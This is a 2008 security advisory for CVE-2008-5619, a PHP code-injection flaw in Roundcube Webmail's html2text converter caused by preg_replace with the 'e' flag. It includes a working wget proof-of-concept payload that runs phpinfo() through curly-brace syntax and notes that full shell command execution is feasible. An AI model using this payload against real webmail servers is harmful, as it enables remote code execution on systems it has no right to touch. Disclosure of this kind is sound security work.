Public Release Date of POC: 2008-12-22
Author: Jacobo Avariento
CVE id: CVE-2008-5619
Bugtraq id: 32799
Severity: Critical
Vulnerability reported by: RealMurphy

Intro

Roundcube Webmail is a browser-based IMAP client that uses "chuggnutt.com HTML to Plain Text Conversion" library to convert HTML text to plain text, this library uses the preg_replace PHP function in an insecure manner.

Vulnerable versions

• RoundCube Webmail 0.2-3 beta

• RoundCube Webmail 0.2-1 alpha (tested)

Analysis of the vulnerable code

The script bin/html2text.php creates an instance of the class html2text with the given POST data, the problem arises in the file program/lib/html2text.php in function _convert() on line 381:

// Run our defined search-and-replace
$text = preg_replace($this->search, $this->replace, $text);

Some patterns in $this->search allow interpret PHP code using the "e" flag, i.e.:

'/<a [^>]*href=("|\')([^"\']+)\1[^>]*>(.+?)<\/a>/ie'
'/<b[^>]*>(.+?)<\/b>/ie'
'/<th[^>]*>(.+?)<\/th>/ie'

In concrete those would be replaced by:

'$this->_build_link_list("\\2", "\\3")'
'strtoupper("\\1")'
"strtoupper(\"\t\t\\1\n\")"

Now using PHP complex (curly) syntax we can take advantage of this to interpret arbitrary PHP code, evaluating PHP code embedded inside strings.

Proof of Concept

As this vulnerability was discovered in-the-wild (see http://trac.roundcube.net/ticket/1485618) I was quite sure that would be exploitable, using PHP curly syntax we can execute phpinfo():

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-alpha/bin/html2text.php

Using PHP curly syntax plus some tricks to bypass PHP magic_quotes_gpc to avoid using single or double quotes the arbitrary shell command execution is fully feasible. As this vulnerability was discovered last week no more details will be published yet.